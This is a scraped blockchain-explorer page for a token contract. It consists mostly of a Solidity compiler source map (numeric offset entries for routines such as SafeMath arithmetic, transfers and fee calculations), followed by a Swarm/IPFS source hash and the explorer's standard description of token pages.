3:10;;;;;;;;;;;13140:23;;:9;:23;;;13113:51;13105:102;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11025:1:::1;11007:20;;:6;:20;;;;10999:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11109:1;11088:23;;:9;:23;;;;11080:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11196;11218:6;11196:71;;;;;;;;;;;;;;;;;:9;:17;11206:6;11196:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;11176:9;:17;11186:6;11176:17;;;;;;;;;;;;;;;:91;;;;11301:32;11326:6;11301:9;:20;11311:9;11301:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11278:9;:20;11288:9;11278:20;;;;;;;;;;;;;;;:55;;;;11366:9;11349:35;;11358:6;11349:35;;;11377:6;11349:35;;;;;;;;;;;;;;;;;;13018:193:::0;12931:281;10855:537;;;;;;:::o;775:190::-;861:7;894:1;889;:6;;897:12;881:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;921:9;937:1;933;:5;921:17;;956:1;949:8;;;775:190;;;;;:::o;14649:163::-;14690:7;14711:15;14728;14747:19;:17;:19::i;:::-;14710:56;;;;14784:20;14796:7;14784;:11;;:20;;;;:::i;:::-;14777:27;;;;14649:163;:::o;1227:132::-;1285:7;1312:39;1316:1;1319;1312:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1305:46;;1227:132;;;;:::o;10100:373::-;5922:12;:10;:12::i;:::-;5910:24;;:8;;;;;;;;;;;:24;;;5902:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10213:1:::1;10194:21;;:7;:21;;;;10186:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10294:68;10317:6;10294:68;;;;;;;;;;;;;;;;;:9;:18;10304:7;10294:18;;;;;;;;;;;;;;;;:22;;:68;;;;;:::i;:::-;10273:9;:18;10283:7;10273:18;;;;;;;;;;;;;;;:89;;;;10388:24;10405:6;10388:12;;:16;;:24;;;;:::i;:::-;10373:12;:39;;;;10454:1;10428:37;;10437:7;10428:37;;;10458:6;10428:37;;;;;;;;;;;;;;;;;;10100:373:::0;;:::o;13397:471::-;13456:7;13465;13474;13483;13492;13501;13522:23;13547:12;13561:13;13578:42;13590:7;13599:9;;13610;;13578:11;:42::i;:::-;13521:99;;;;;;13631:19;13654:10;:8;:10::i;:::-;13631:33;;13676:15;13693:23;13718:12;13734:46;13746:7;13755:4;13761:5;13768:11;13734;:46::i;:::-;13675:105;;;;;;13799:7;13808:15;13825:4;13831:15;13848:4;13854:5;13791:69;;;;;;;;;;;;;;;;;;;13397:471;;;;;;;:::o;440:179::-;498:7;518:9;534:1;530;:5;518:17;;559:1;554;:6;;546:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;610:1;603:8;;;440:179;;;;:::o;14820:292::-;14870:7;14879;14899:15;14917:12;;14899:30;;14940:15;14958:12;;14940:30;;15001;15018:12;;15001;;:16;;:30;;;;:::i;:::-;14991:7;:40;14987:81;;;15041:12;;15055;;15033:35;;;;;;;;14987:81;15087:7;15096;15079:25;;;;;;14820:292;;;:::o;1367:189::-;1453:7;1485:1;1481;:5;1488:12;1473:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1512:9;1528:1;1524;:5;;;;;;1512:17;;1547:1;1540:8;;;1367:189;;;;;:::o;627:136::-;685:7;712:43;716:1;719;712:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;705:50;;627:136;;;;:::o;13876:351::-;13969:7;13978;13987;14007:12;14022:28;14046:3;14022:19;14034:6;14022:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;14007:43;;14061:13;14077:29;14102:3;14077:20;14089:7;14077;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;14061:45;;14117:23;14143:28;14165:5;14143:17;14155:4;14143:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;14117:54;;14190:15;14207:4;14213:5;14182:37;;;;;;;;;13876:351;;;;;;;:::o;14235:409::-;14345:7;14354;14363;14383:15;14401:24;14413:11;14401:7;:11;;:24;;;;:::i;:::-;14383:42;;14436:12;14451:21;14460:11;14451:4;:8;;:21;;;;:::i;:::-;14436:36;;14483:13;14499:22;14509:11;14499:5;:9;;:22;;;;:::i;:::-;14483:38;;14532:23;14558:28;14580:5;14558:17;14570:4;14558:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;14532:54;;14605:7;14614:15;14631:4;14597:39;;;;;;;;;;14235:409;;;;;;;;:::o;973:246::-;1031:7;1060:1;1055;:6;1051:47;;;1085:1;1078:8;;;;1051:47;1108:9;1124:1;1120;:5;1108:17;;1153:1;1148;1144;:5;;;;;;:10;1136:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1210:1;1203:8;;;973:246;;;;;:::o

Swarm Source

ipfs://0bd3d91f3e01dbfd5b812692a2e99727bac06d9816606aa3767673a8aa32fc9b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.